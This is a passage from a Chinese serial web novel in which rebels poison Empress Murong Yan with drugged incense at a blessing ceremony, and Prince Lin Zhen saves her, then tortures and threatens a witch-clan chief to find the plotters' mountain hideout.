林臻握住她的手,?柔声道?:“为嫣儿分忧,何谈辛苦。放心,一切有我。你且歇息片刻,稍后还有几位将领要觐见,商议平壤城防加固之事。” 慕容嫣将额头轻轻靠在他胸前,?蹭了蹭?:“还好有你在。不然我真想直接派兵把那些乱嚼舌根的都抓起来。” 林臻低笑,?轻抚她的后背?:“我的嫣儿是明君,岂能如莽夫般行事?这般处置,方显帝王气度。” 就在两人温存之际,殿外传来内侍禀报,几位将领已在外候见。 慕容嫣立刻从林臻怀中直起身,?脸上的疲惫与依赖瞬间收敛,?恢复了女帝的威仪。她对林臻点了点头,?转身走向御座。 就在她转身,?准备接见将领的刹那—— 动作带着从温情到威严模式切换的利落! 那在殿内地面上铺散烦躁、带着躁意的五丈墨金色拖尾被猛地带起! 华贵的锦缎拂过地面,?唰啦一声,?仿佛将方才的烦恼也一并甩开?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在阴雨天光下如同乌云镶金边般闪烁着睿智而决断光芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出如同闪电划破阴霾般耀眼而凌厉的金芒,那光芒充满了洞察诡计的智慧、化解危机的自信以及一种用阳谋碾压阴谋、用王道碾压邪道的、磅礴大气的手腕,尊贵、辉煌,且带着一种举重若轻、掌控全局的从容气度! 这惊鸿一瞥,是她应对挑战的智慧闪光。 裙摆落下,将那片睿智的金光与帝王的决断一同掩盖。 慕容嫣端坐御座,?宣将领入殿。 殿外,闷雷滚滚,夏日的暴雨,终于倾盆而下。 而一场针对无形敌人的、同样激烈的战斗,也已悄然打响。 ...... 夜。 酝酿了一整日的闷热,终于在入夜后化作了一场罕见的瓢泼大雨。 狂风卷着豆大的雨点,疯狂地抽打着安州城的每一片屋瓦、每一扇窗棂。电蛇在漆黑的云层中狂舞,每一次撕裂长空的闪电过后,便是震耳欲聋的惊雷,仿佛要将整个天地都震碎。 雨水在街道上汇成急流,冲刷着白日的尘埃,也掩盖了夜色中许多不为人知的勾当。 在这恶劣的天气里,绝大多数百姓都紧闭门户,躲在屋里,听着屋外的风雨交加,心中惴惴。 然而,对于某些潜藏在阴影中的人来说,这样的夜晚,正是密谋的绝佳时机。 安州城西,那片更为破败、地势低洼的棚户区,此刻已几成汪洋。 污水横流,泥泞不堪。在一间比之前朴志雄藏身之处更加偏僻、几乎半塌的土坯房里,几点微弱的、被风雨声几乎完全掩盖的灯火,在黑暗中摇曳不定。 屋内,漏雨严重,地上放着几个破盆接水,发出单调的“滴答”声。 空气潮湿霉烂,混合着泥土和汗水的酸臭。 围坐在一盏昏暗油灯旁的,是三个身影。为首一人,正是接替死去的朴志雄、成为“复国义帜”在安州残余势力新头目的金顺哲。 他脸上的悲愤已被一种阴鸷的狠厉所取代,眼角那道疤在跳动的灯光下更显狰狞。 另外两人,一个是负责联络各地残党的信使,另一个则是白日里混在人群中散播谣言最卖力的混混头目。 “妈的,这鬼天气!”混混头目抹了一把脸上的雨水和汗水,低声咒骂道,“金头领,慕容嫣那妖女要搞什么‘安土祈福’大典,还请和尚道士,这分明是要破我们的局啊!” 第1020章 慕容嫣的危机 金顺哲阴沉着脸,?手指有一下没一下地敲打着膝盖,?雨水顺着破烂的屋顶缝隙滴落,?在他脚边溅起细小泥点。 “慌什么?” 他声音沙哑,?带着一丝压抑的疯狂,“她慕容嫣想用正道压邪道?哼!正好!她请神,我们就给她送鬼!” “送鬼?”信使疑惑地抬头。 “没错!”金顺哲眼中闪过恶毒的光芒,“她不是要大张旗鼓地办祈福大典吗?到时候,安州有头有脸的人,还有那些愚民,都会去看热闹,我们就在大典上,给她送一份‘大礼’!” 他凑近油灯,?压低声音,?几乎是在耳语,?但话语中的寒意却比屋外的暴雨更冷:“我已经联系上了城外‘黑巫’寨的人。他们有一种秘药,无色无味,混入香烛之中,点燃后产生的烟雾,能让人产生短暂的幻觉,见到心中最恐惧的景象,到时候,我们想办法把动了手脚的香烛,混入大典用的祭品里!” 混混头目倒吸一口凉气:“在祈福大典上让那些和尚道士,甚至慕容嫣本人当众出丑?见到鬼?” “何止出丑!”金顺哲狞笑一声,?脸上的疤痕扭曲,“我们要让所有人看到,她慕容嫣请来的神灵根本护不住她!连上天都厌恶她这个屠夫!要让那些参加大典的人,亲眼目睹‘鬼神震怒’的景象!到那时,什么祈福,什么祥瑞,都会变成天大的笑话!看她慕容嫣还如何收场!那些愚民,谁还敢再把孩子送进她那个被‘诅咒’的学堂!” 这个计划,比散播谣言更加恶毒,也更加冒险。 它直接针对慕容嫣试图建立的“正统”与“祥瑞”形象,要在其最光辉的时刻,给予最致命的一击。 “可是金头领,”信使担忧道,“大典戒备必然森严,我们如何能把动了手脚的香烛送进去?而且,‘黑巫’寨的人信得过吗?他们开价可不低。” 金顺哲冷哼一声?:“戒备再严,也有漏洞。负责采办公祭物品的衙门小吏,总有贪财怕死的。重金之下,必有勇夫。至于‘黑巫’寨哼,他们只要钱,不管世事,而且有把柄在我们手上,不敢不尽心。此事若成,慕容嫣威信扫地,我们在高句丽遗民中的声望将无人能及!复国大业,便有望矣!” 他说着,?从怀里掏出一个沉甸甸的小布袋,?扔在桌上,?发出金属碰撞的闷响?:“这是定金。事成之后,还有双倍。你去联系‘黑巫’寨的人,务必在三日内将药配好。你,” 他转向混混头目,“去找那个在府库当差的远房表亲,不管你用什么手段,威逼也好,利诱也罢,必须让他成为内应,将我们提供的香烛混入大典祭品!” “是!头领!”两人齐声应道,眼中闪烁着狂热与恐惧交织的光芒。 “记住!”金顺哲站起身,?身形在昏暗灯光下显得异常高大而危险,“此事关乎我等生死存亡,亦关乎高句丽国运!只许成功,不许失败!若有差池,或有人敢背叛。” 他没有说下去,?但手已按在了腰间的短刀刀柄上,?意思不言而喻。 就在这时,屋外风雨声中,似乎传来一声极轻微的、像是瓦片松动的声响。 “谁?!”金顺哲警惕性极高,?猛地吹熄油灯,?低喝一声! 屋内瞬间陷入一片漆黑,只有屋外闪电划过时,才短暂地照亮三张紧张而狰狞的脸。 雨水敲打屋顶的声音更加清晰。 另外两人也立刻屏住呼吸,手握武器,紧张地望向门口和漏雨的屋顶。 黑暗中沉寂了片刻,只有风雨声和心跳声。 良久,金顺哲才缓缓重新点燃油灯,?脸色更加阴沉:“可能是野猫,或者风刮的但此地不宜久留!分头行动,按计划行事!下次联络,老地方,老暗号!” “是!” 三人不敢再多停留,迅速收拾东西,如同鬼魅般,悄无声息地分别潜入屋外的暴雨和黑暗之中,消失不见。 破屋重归寂静,只剩下风雨声和滴答的漏水声。 然而,就在他们离开后不久,屋外不远处,一个积水颇深的洼地旁,一道几乎与黑暗融为一体的黑影,缓缓从泥水中抬起头来。 他浑身湿透,?脸上涂着污泥,?只有一双眼睛,?在闪电亮起的瞬间,?锐利如鹰。 正是林臻麾下最擅长潜伏的“夜枭”密探,影三。他方才冒险贴近侦查,?险些被发现。 影三抹去脸上的泥水,?眼中闪过一丝兴奋与凝重。 他虽然没有听全屋内的密谋,?但?“祈福大典”、“香烛”、“黑巫寨”这几个关键词,?已足够让他意识到,?一场针对女帝的、更加阴险的阴谋,?正在这暴雨之夜酝酿成型。 他不敢怠慢,?立刻如同狸猫般滑入更深的黑暗,?向着行宫方向疾驰而去,?必须将这个消息,?尽快禀报亲王殿下。 暴雨依旧倾盆,冲刷着世间的污秽,却也暂时掩盖了阴谋的痕迹。 安州城的这个夜晚,注定不会平静。 而慕容嫣那场旨在“正视听”的祈福大典,尚未开始,便已暗藏杀机。 几天之后。 尽管暴雨倾盆,但今天黎明时分,天空却意外地放晴了。 阳光穿透薄云,洒在湿漉漉的安州城上,蒸腾起一片氤氲的水汽,竟有几分祥瑞的意味。 启明学堂内外,早已被装饰一新,旌旗招展,香案高设。 受邀前来的高僧、道长、本地巫祝,皆身着法衣,肃然而立。 都护府大小官员、军中将领、士绅代表以及被允许围观的大量百姓,将学堂前的广场挤得水泄不通。 所有人都翘首以盼,等待着女帝陛下的驾临,见证这场旨在“安土祈福、破除谣言”的盛典。 辰时正,鼓乐齐鸣。 慕容嫣的銮驾在精锐禁军的护卫下,?缓缓抵达。 她今日的装扮?依旧是那身神凤降世裙。? 那件象征尊贵的黑金貂皮披肩,?在此等初夏晴日自是不需,?由宫女捧持跟随。 她左手拇指上的墨玉扳指,?在阳光下泛着深邃的光泽。 ?神凤降世裙在这庄严肃穆的场合,被笼罩在华丽的大礼服之下,仿佛蛰伏的巨龙,其光华内敛,却更添神秘与厚重。 ?极致玄黑的苏锦底料吸纳着阳光的热力,沉静如渊,织入的金色棉绒与真金线则在礼服的缝隙间,流淌着如同祭祀金器般肃穆而神圣的辉光。 ?睡裙之上,那只擎天巨凤的图案,在此刻与礼服上的龙凤纹饰交相辉映,共同彰显着皇权的至高无上。 那长达五丈的苏锦拖尾,?此次并未完全显露,?大部分被大礼服的曳地后摆所覆盖,?但其末端,?依然从礼服下缘隐约可见,?在铺着红毯的高台上,?形成一种被约束却依然存在的、象征着绝对权力的凌乱基底。 第1021章 慕容嫣中毒 林臻身着亲王蟒袍,?紧随其后,?面色沉静,?目光却如同最警惕的鹰隼,?不着痕迹地扫视着全场。 他已知晓金顺哲的阴谋,?虽已做了周密布置,?但心中仍不敢有丝毫大意。 慕容嫣步履沉稳,?登上临时搭建的高台,?在中央的凤椅上落座。 林臻则按剑立于其侧。 大典司仪高唱仪式开始。 一时间,钟磬和鸣,梵音道唱与巫祝的祷文交织在一起,香烟缭绕,直上青云。场面宏大而庄严。 慕容嫣端坐其上,?面容平静,?接受着众人的朝拜与祝祷。 她心中对此等仪式并非全然相信,?但她深知,?这是安抚民心、破除谣言的必要手段。 她的目光缓缓扫过台下,?看到那些百姓脸上由最初的好奇、敬畏,?逐渐变得虔诚和安心,?她的嘴角不由微微勾起一丝满意的弧度。 仪式按部就班地进行着。 献祭、诵读祭文、高僧洒净、道长步罡踏斗一切似乎都在向着预想的方向发展。 然而,就在最关键环节——由慕容嫣亲自点燃象征“沟通天地”的主祭香烛,以示祈福正式开始——即将到来之时,异变陡生! 司仪高声唱喏:“请陛下燃香,上达天听,福泽万民!” 两名内侍恭敬地捧上早已备好的、粗如儿臂、鎏金雕龙的顶级檀香。 慕容嫣缓缓起身,?从内侍手中接过一支由特制长柄托着的、已然点燃的小香,?准备去引燃那主祭香烛。 就在她俯身,?将手中香火凑近香烛顶端的瞬间—— 一股极其怪异的、若有若无的甜腻香气,?混杂在浓郁的檀香味中,?猛地钻入她的鼻息! 这香气初闻并无特别,?但一入肺腑,?慕容嫣便觉得头脑一阵轻微的眩晕?! 眼前的景象似乎扭曲了一下,?耳边的诵经声和乐声也变得遥远而模糊?! 她甚至仿佛看到了已故父皇慕容厉那狰狞愤怒的面容,?在缭绕的烟雾中一闪而过?! “唔,”慕容嫣发出一声极轻微的闷哼,?身形微不可察地晃动了一下,?手中那支引香险些脱手?! “嫣儿!”一直高度警惕的林臻第一个察觉不对?! 他一个箭步上前,?不动声色地伸手扶住了她的手臂,?同时内力悄然透入,?低喝道?:“凝神静气!” 台下离得近的官员和僧道也隐约察觉到了女帝的异常,顿时一阵轻微的骚动。 百姓们更是面面相觑,不知发生了何事。 慕容嫣到底是功力深厚、意志坚定之辈。 她猛地一咬舌尖,?一股腥甜味在口中弥漫开,?剧烈的刺痛感让她瞬间从那股诡异的幻觉中挣脱出来?! 她凤眸中寒光一闪,?强压下心中的惊骇与翻涌的气血,?稳住身形,?用尽全身力气,?将手中引香稳稳地点在了主祭香烛上?! 香烛顺利点燃,?青烟袅袅升起。 “礼成——!陛下祈福,天佑圣徽,泽被苍生——!”司仪见状,连忙高声唱和,试图掩盖刚才那瞬间的异常。 乐声再起,僧道诵经声也变得更加响亮。 慕容嫣缓缓直起身,?脸上努力维持着平静,?但袖中的手却微微颤抖。 她感觉到一股莫名的虚弱感和残留的恶心感萦绕不去。 她知道,?自己刚才险些在万千臣民面前失仪?! 这绝不是偶然?! 林臻扶着她的手臂并未松开,?他能感觉到她身体的僵硬和微弱的颤抖。 他心中怒火滔天,?目光如同冰刀般扫向那燃烧的香烛和捧着香烛的内侍。 ?阴谋,?果然还是发生了?! 而且目标直指嫣儿本人?! “陛下您,”身旁的内侍官也察觉不对,小心翼翼地上前询问。 “朕无碍。”慕容嫣深吸一口气,?强行压下不适,?声音尽量保持平稳,“仪式继续。” 她重新坐下,?但接下来的仪式,?她几乎是凭借强大的意志力在硬撑。 那甜腻的异香似乎仍残留在空气中,?不断侵蚀着她的神经。 她必须集中全部精神,?才能对抗那股想要将她拖入幻觉深渊的力量。 她的额头渗出细密的冷汗,?脸色也有些发白。 这一切,都被近处一些敏锐的官员和林臻看在眼里。 虽然远处的百姓可能并未察觉,但女帝在祈福大典上显露出不适,这本身就是一个极其不利的信号! 那些关于“学堂不祥”、“鬼神震怒”的谣言,恐怕会因此而死灰复燃,甚至变本加厉! 祈福大典,就在这种表面庄严肃穆、内里暗流汹涌的气氛中,勉强进行到了尾声。 仪式一结束,慕容嫣几乎是在林臻的半搀扶下,?迅速离开了高台,?登上銮驾。 一进入密闭的车厢,她便再也支撑不住,?身体一软,?靠在了林臻怀中,?呼吸变得急促起来。 “嫣儿!怎么样?”林臻焦急地问道,?连忙运功为她疏导气血。 “香有问题。”慕容嫣声音虚弱,?凤眸中充满了后怕与滔天的怒意,“好阴毒的手段,竟敢直接对朕下手” “我知道!我已经让人控制住了所有接触过祭品的内侍和官吏!‘夜枭’也去追查香烛来源了!”林臻紧紧抱着她,?眼中杀意凛然,“你放心,我定将幕后黑手揪出来,千刀万剐!” 慕容嫣靠在他怀里,?感受着他温暖的胸膛和沉稳的心跳,?心中的惊悸才稍稍平复。 但身体的不适和精神的冲击,?让她感到一种前所未有的疲惫与挫折感。 她精心策划的、用以稳定人心的祈福大典,?竟然成了敌人攻击她的舞台?! 她非但没能完全破除谣言,?反而可能因为自己短暂的失态,?给了谣言滋生的新土壤! 銮驾在禁军的严密护卫下,快速返回行宫。 车内,慕容嫣闭目调息,?脸色依旧苍白。 那身在礼服下的神凤降世裙,?此刻仿佛也失去了往日的光华,?墨金色的色泽显得有些黯淡。 那长达五丈的拖尾,?在车厢内无力地堆叠着,?不再有那种掌控一切的凌乱气势,?反而像是一种受伤后的蜷缩。 这是慕容嫣自征服高句丽以来,第一次在公开场合,遭遇如此直接且险些成功的暗算,也是她第一次真切地感受到,隐藏在暗处的敌人,其手段之卑劣、用心之险恶,远超战场上的明刀明枪。 她的内心,?充满了愤怒,?但也第一次升起了一丝凝重与警惕。 这场征服与同化的战争,远比她想象的更加复杂和艰难。 第1022章 无药可解?? 祈福大典上的惊变,如同一块巨石投入深潭,在安州行宫内激起了巨大的波澜。 慕容嫣被林臻紧急护送回寝殿后,?那强撑的威仪瞬间崩塌。 她脸色苍白如纸,?额头上不断渗出冷汗,?身体一阵阵发冷,?时而又感到莫名的燥热。 那侵入体内的诡异香毒,?远非简单的致幻剂,?竟似一种极其阴损的、能侵蚀内力与心脉的慢性剧毒?! “呃……”慕容嫣蜷缩在凤榻之上,?双手紧紧抓住锦被,?指节因用力而发白。 那身神凤降世裙,?此刻紧贴着她微微颤抖的身体,?原本流转的墨金色光华仿佛被一层灰败的雾气所笼罩。? 极致玄黑的苏锦底料吸吮着殿内昏暗的烛光,却只反射出病态的黯淡,织入的金色棉绒与真金线也失去了活力,如同垂死凤凰的羽毛,光泽晦涩。? 睡裙之上,那只擎天巨凤的图案,随着她身体的痛苦蜷缩而扭曲,失去了翱翔九天的气势,仿佛折翼坠入深渊。 她左手拇指上的墨玉扳指,?也似乎失去了温润,?变得冰冷。 那长达五丈的苏锦拖尾,?在榻上无助地缠绕、堆叠,?不再有往日那种彰显权力的凌乱,?而是一种被病痛折磨所致的、充满痛苦与挣扎的凌乱不堪,?甚至有几处,?被她无意识的蹬踏踢到了床下,?沾染了尘埃。? 棉质的柔软此刻无法带来舒适,?反而像是沉重的束缚。 “嫣儿!撑住!”林臻双目赤红。 他早已命人急召随军御医,?并让“夜枭”全力追查香毒来源和解药。 御医匆匆赶来,诊脉后,脸色大变,跪地颤声道:“陛下所中之毒,极为古怪!似是以西域奇花‘幻梦魇’为主,辅以多种阴寒剧毒炼制而成!此毒不仅致幻,更能蚕食功力,损伤心脉!若十二个时辰内找不到对症解药,恐恐有性命之忧啊!” “废物!”林臻厉声喝道,?但他心中的恐慌却如潮水般涌起?! 十二个时辰! 时间如此紧迫! “夫君冷,好冷。”慕容嫣意识模糊,?本能地向林臻寻求温暖,?声音细弱蚊蚋。 她一生强势,?何曾露出过如此脆弱的一面?? 这更让林臻心如刀绞。 “我在!嫣儿,我在这里!”林臻紧紧抱住她,?用体温温暖她,?同时大脑飞速运转。 ?金顺哲?!? 一定是金顺哲和那个“黑巫寨”??!? 他们的目标,?根本不只是让嫣儿出丑,?而是要她的命?! 就在这时,殿外传来急促的脚步声和兵器碰撞声! 一名禁军统领浑身浴血冲了进来,急报:“亲王殿下!不好了!行宫东、南两处宫门同时遭遇大批不明身份高手袭击!他们武功路数诡异,悍不畏死,守卫损失惨重!疑似是调虎离山之计!” 林臻眼中寒光爆射?!? 果然?!?对方是连环计?!? 先用香毒削弱甚至除掉嫣儿,?再趁乱强攻行宫?! ?好毒辣的手段! 行宫内外,杀声四起,火光隐隐。 殿内,慕容嫣气息愈发微弱,?体温时冷时热,?显然已到了危急关头。 林臻面临着他人生中最为艰难的选择?:?是守在爱妻身边,??但可能两人最终都被乱贼所害???还是亲自出战,?稳定局势,?但嫣儿可能撑不到他回来? 看着怀中爱人痛苦的面容,感受着她生命力的流逝,林臻的眼中闪过一丝决绝?! 他不能失去她?! ?绝不?! “影一!”林臻对着虚空低喝一声。 一道如同影子般的黑衣人悄无声息地跪在他面前,?正是“夜枭”首领。 “不惜一切代价,守住寝殿!在我回来之前,任何人不得靠近凤榻半步!违者,格杀勿论!”林臻的声音冰冷如铁,?带着不容置疑的杀意。 “遵命!”影一领命,瞬间,数道黑影如同鬼魅般隐入殿内各个角落,杀气凛然。 林臻轻轻将慕容嫣放平,?为她盖好锦被。 他俯身,?在她冰凉的唇上印下深深一吻,?低语道?:“嫣儿等我,我一定带着解药回来,你一定要撑住。” 说完,他毅然转身?!? 就在他转身的刹那—— 动作带着撕心裂肺的决绝与破釜沉舟的勇气! 那在凤榻上缠绕挣扎、沾染了慕容嫣痛苦痕迹的五丈墨金色拖尾的边缘,?被他的衣角不经意间带动?! 随着裙摆的微弱飘起——赫然露出了里面那金线密织、在生死危机下仿佛被绝望浸透却依然顽强闪烁着一丝生命金芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出如同风中残烛般微弱却不肯熄灭的金色光点,那光芒充满了对生命流逝的不甘、对爱人离去的恐惧以及一种在绝境中依然存在的、微弱的求生本能,尊贵、辉煌,在此刻却显得无比脆弱与悲壮! 这惊鸿一瞥,是慕容嫣生命悬于一线的真实写照。 林臻心如刀割,?却不敢回头?! 他拔出腰间佩剑,?如同一道闪电般冲出寝殿?! 殿外,战况激烈。 袭击者人数众多,且武功诡异,禁军虽拼死抵抗,却节节败退。 林臻的出现,?如同定海神针?! 他长剑如龙,?所过之处,?血肉横飞?! 他心中积压的怒火与担忧,?此刻全部化作了杀戮的力量?! 他必须尽快解决战斗,?必须找到解药! “逆贼受死!”林臻锁定了一个看似头目的黑衣人,?剑气如虹,?直刺而去?! 那黑衣人武功极高,与林臻战在一处。 但林臻心存必杀之念,?招式凌厉无匹,?不过十招,?便一剑洞穿了对方的心脏?! “说!解药在哪里?金顺哲在何处?”林臻踩住对方,?厉声逼问。 那黑衣人狞笑:“解药?嘿嘿没有解药黑巫寨的‘七日断魂散’无药可解女帝必死无疑哈哈。”笑声戛然而止,他咬毒自尽了。 林臻心中一沉?!? 无药可解?? ?不?!?不可能?! 他发疯般在战场上寻找着可能的线索。 终于,?在一名被俘的袭击者身上,?搜出了一块刻有诡异蛇纹的木牌?! ?是黑巫寨的信物! “影七!”林臻大喝。“在!” “立刻带一队‘夜枭’,根据此物,给我踏平黑巫寨!把寨主活着带回来!要快!”林臻将木牌扔给影七。他知道,这是唯一的希望! “是!”影七领命,带着数名好手,如同利箭般射入夜色。 林臻则继续清剿残敌,?同时心中默默计算着时间。?每一分每一秒,?都如同在油锅中煎熬?! 寝殿内,慕容嫣的气息越来越微弱,?御医束手无策,?只能用金针勉强吊住她一丝生机。 那身神凤降世裙,?仿佛也随着主人的生命力流逝而逐渐失去光彩。 不知过了多久,就在林臻几乎要绝望的时候,?一阵急促的马蹄声由远及近?! 影七浑身是血,?提着一个奄奄一息的、穿着怪异服饰的老者,?冲进行宫! “殿下!黑巫寨已灭!寨主在此!他说他说有解药!” 第1023章 你的硬气救不了你的命 林臻如同抓住了救命稻草?!?他一把揪住那寨主?:“解药!拿出来!若敢耍花样,我让你求生不得求死不能!” 那寨主早已吓破胆,颤巍巍地掏出一个黑色小瓶:“解解药口服,但中毒已深,需以至阳内力,化开药力疏通心脉,否则无效。” 林臻夺过药瓶,?也顾不上辨别真伪,?如同旋风般冲回寝殿?! 他扶起几乎没有意识的慕容嫣,?小心翼翼地将药液喂入她口中。 然后,?他盘膝坐在她身后,?与她接吻。 这就是阳刚之气的传输。 时间一分一秒过去。 林臻的额头渗出豆大的汗珠,?脸色也逐渐苍白。 ?输送如此大量的本源内力,?对他也是极大的损耗。 但他咬牙坚持着,?心中只有一个念头?:?救活她?! 终于,在黎明前最黑暗的时刻,慕容嫣的身体轻轻颤动了一下,?一口黑色的淤血从嘴角溢出。 她的呼吸,?渐渐变得平稳有力起来。 脸上的灰败死气,?也慢慢褪去,?虽然依旧苍白,?但已有了生机。 “嫣儿!”林臻感受到她体内生机的复苏,?心中狂喜,?几乎要落下泪来。 他缓缓收回内力,?疲惫地靠在榻边,?紧紧握住她的手。 慕容嫣长长的睫毛颤动了几下,?缓缓睁开了眼睛。 她第一眼,?就看到了林臻那布满血丝却充满狂喜与担忧的眼睛。 “夫君,”她的声音虽然虚弱,?却清晰可闻。 “我在,嫣儿,你没事了没事了。”林臻将她轻轻搂入怀中,?声音哽咽。 慕容嫣靠在他怀里,?感受着劫后余生的温暖。 她看向窗外,?天际已泛起鱼肚白。 这一夜,她在鬼门关前走了一遭。 而将她拉回来的,?是这个她深爱也深爱着她的男人。 ...... 持续了一夜的厮杀与生死挣扎,随着晨曦的到来,暂时告一段落。 行宫内的血腥气被清晨微凉的风吹散些许,但空气中依旧弥漫着一种劫后余生的凝重。 寝殿内,烛火未熄,与透窗而入的曙光交融,映照着凤榻上那张苍白却已恢复生机的绝美面容。 慕容嫣醒了。但她远未康复。?七日断魂散的毒性极其霸道,?虽得解药,?林臻又以自身本源内力为她化开药力、疏通经脉,?但对身体造成的侵蚀,?绝非一朝一夕可以恢复。她只觉得浑身酸软无力,?连抬起一根手指都觉得困难。?丹田内的真气空空荡荡,?往日那磅礴的力量感消失无踪,?取而代之的是一种前所未有的虚弱,?仿佛大病初愈的婴孩。?喉咙干涩发痛,?每一次呼吸,?都带着细微的拉扯感**。 她微微动了动眼皮,?睁开眼,?首先映入眼帘的,?便是守在她榻边,?双眼布满血丝,?下颌冒出青色胡茬,?一脸疲惫却满含担忧的林臻**。 “嫣儿!你醒了!”林臻见她睁眼,?眼中瞬间爆发出惊喜的光芒,?连忙俯下身,?小心翼翼地握住她微凉的手,“感觉怎么样?还有哪里不舒服?” 慕容嫣张了张嘴,?想说话,?却只发出一声沙哑的气音。 她皱了皱眉,?脸上露出一丝极少见的、带着委屈的脆弱神情。 林臻立刻会意,?转身从温着的玉壶中倒出一杯温水,?用银匙一点点地喂到她唇边:“慢点喝,别急。” 温水滋润了干涸的喉咙,慕容嫣这才感觉好了些。 她看着林臻憔悴的面容,?心中一酸,?微弱地开口道:“夫君,你你没受伤吧?我睡了多久?” 她的声音细弱游丝,带着明显的虚弱。 “我没事,一点皮外伤而已。”林臻柔声安慰道,?伸手轻轻拂开她额前被汗水粘住的发丝,“你睡了大半夜,现在天刚亮。毒已经解了,只是身子虚,需要好好静养一段时间。” 慕容嫣尝试着想坐起来,?却浑身一软,?又跌回枕上。 她有些懊恼地蹙起眉?:“浑身一点力气都没有,这毒好生厉害。” 她身为女帝,?何曾有过如此无力的时候?? ?这种连身体都无法掌控的感觉,?让她感到十分不适,?甚至有一丝恐慌。 “别乱动。”林臻连忙按住她的肩膀,“御医说了,你元气大伤,经脉受损,需得卧床静养至少半月,不可动用内力,不可劳神。朝中事务,有我替你处理,你安心养病便是。” 慕容嫣闻言,?凤眸中闪过一丝不甘,?但更多的是对自身状况的无奈。 她垂下眼帘,?低声道?:“这次是我大意了,险些……” “不许胡说!”林臻打断她,?语气带着不容置疑的坚定,“是敌人太过奸诈阴险!你放心,所有参与此事的人,我一个都不会放过!尤其是那个主谋金顺哲,还有黑巫寨的余孽!” 提到敌人,林臻的眼神瞬间变得冰冷。 他替慕容嫣掖好被角,?柔声道?:“嫣儿,你再休息会儿。我去处理些事情,很快回来陪你。” 慕容嫣知道他要去做什么。 她点了点头,?眼中也闪过一丝厉色?:“夫君,问清楚,一个都别放过。” “我知道。”林臻在她额头印下一吻,?起身,?脸上的温柔瞬间被凛冽的杀气所取代。 他对侍立一旁的宫女和内侍沉声吩咐?:“好生伺候陛下,若有半点差池,提头来见!” “是!亲王殿下!” 林臻大步走出寝殿。 殿外,影一早已等候多时。 “殿下,黑巫寨寨主已被押入地牢,用了刑,但嘴很硬。” “带路。”林臻声音冰冷。 地牢深处,一间刑讯室内,火光摇曳,映照着墙壁上各种狰狞的刑具。 黑巫寨寨主——那个干瘦枯槁的老者,被铁链牢牢锁在刑架上,浑身血迹斑斑,奄奄一息。 林臻走进刑讯室,?目光如同万载寒冰,?扫过那寨主。 他没有立刻动用更残酷的刑罚,?而是走到他面前,?声音平静得可怕: “说,金顺哲在哪里?你们还有多少同党?除了在祈福大典上下毒,还有什么阴谋?” 寨主抬起浑浊的眼睛,?咧开嘴,?露出带血的牙齿,?发出嘶哑的笑声?:“嘿嘿,咳咳,林亲王你杀了我也没用,金头领神龙见首不见尾,你们的死期快到了,圣徽气数已尽。” 林臻眼神一寒,?对旁边的行刑手使了个眼色。 行刑手会意,?拿起一根烧红的烙铁,?毫不留情地按在了寨主的胸口! “啊——!”凄厉的惨叫在地牢中回荡,皮肉烧焦的臭味弥漫开来。 寨主痛得浑身抽搐,?但依旧咬紧牙关,?不肯吐露更多。 林臻冷冷地看着他?:“你的硬气,救不了你的命,也救不了你的寨子。你的族人,会因为你的愚蠢,付出代价。” 听到“族人”二字,寨主的身体明显僵硬了一下。 林臻捕捉到了这个细节,?继续施加心理压力?:“你以为你死了就一了百了?我会派人找到黑巫寨的隐居地,将你的族人,无论老幼,全部屠戮殆尽!让你黑巫寨,从此绝迹!” “不!你不能!”寨主终于崩溃了,?嘶吼道,“祸不及家人!你们你们这些刽子手!” “祸不及家人?”林臻冷笑,“你们对一国之君下毒时,可曾想过祸不及家人?说!金顺哲的藏身之处!否则,我让你亲眼看着你的族人一个个死在你面前!” 在灭族的威胁下,寨主最后的心理防线被彻底击垮。 他瘫软在刑架上,?涕泪横流,?断断续续地交代了?: “金顺哲,他不在安州城,他他带着核心人手躲进了北面的狼牙山深处,那里有我们一个秘密据点,他他计划等等慕容嫣毒发身亡,安州大乱时,就联络各地义士起事。” “还有,还有倭国,倭国那边好像也有人和他们有接触,具体我不清楚,只是听金顺哲提过一句。” ? 第1024章 勾结倭国,找死 倭国? 林臻眼中精光一闪?! ?果然?!?这些逆贼,?竟然还敢勾结外寇?! “狼牙山的具体位置!据点有多少人?防御如何?”林臻逼问细节。 寨主为了保全族人,?只得将自己知道的一切,?和盘托出。 得到想要的情报后,林臻不再看他一眼,?对影一道?:“给他个痛快。清理干净。” “是!” 林臻转身走出地牢,?重新沐浴在晨曦之中。 他脸上的杀气渐渐收敛,?但眼神却更加深邃。 ?金顺哲藏身狼牙山,?还可能与倭国勾结这意味着,?潜在的威胁,?比想象的更大。 他快步返回寝殿。慕容嫣依旧虚弱地躺在榻上,?但眼神却一直望着门口,?见他回来,?眼中才闪过一丝安心。 “问出来了?”慕容嫣轻声问。 “嗯。”林臻坐到榻边,?将审讯结果简单告诉了她,?略去了血腥的细节。 慕容嫣听完,?沉默片刻,?凤眸中寒光闪烁?:“狼牙山,倭国,好,很好,待朕康复,定要将这些魑魅魍魉连根拔起!” 她的声音虽然虚弱,但那股杀伐决断的气势,已然开始复苏。 林臻握住她的手?:“放心,一切有我。你现在最重要的,就是养好身体。” 慕容嫣点了点头,?疲惫地闭上眼睛。 ...... 圣徽三年,五月初十。 距离祈福大典惊变已过去四日。 安州城表面上风平浪静,朝廷对外宣称女帝陛下因偶感风寒需静养数日,一切政务暂由摄政亲王林臻署理。 然而,在这刻意维持的平静水面之下,暗流愈发汹涌。 狼牙山,地处安州以北百里之外,山势险峻,林深苔滑,人迹罕至。 在一处极为隐蔽、借助天然山洞改造而成的秘密据点内,气氛却压抑得如同暴风雨前的死寂。 金顺哲脸色铁青,?一拳狠狠砸在粗糙的石桌上,?震得桌上油灯摇曳不定。 他面前,跪着一名刚从安州城冒险潜回的信使,正浑身颤抖地禀报着噩耗。 “头领,消息确认了,慕容嫣那妖女没死!”信使的声音带着哭腔,“黑巫寨被林臻的人连夜血洗,寨主也下落不明,安州行宫戒备比之前森严了数倍不止,我们我们的计划彻底失败了!” “废物!一群废物!”金顺哲暴怒地低吼,?额角青筋暴起,?眼中的疯狂与不甘几乎要喷涌而出。 “黑巫寨的‘七日断魂散’不是号称无药可解吗?!怎么会这样?!慕容嫣难道真是九命妖凤不成?!” 他原本指望借此良机,一举铲除慕容嫣,造成安州乃至整个安东都护府大乱,从而为“复国义帜”赢得喘息和发展之机。 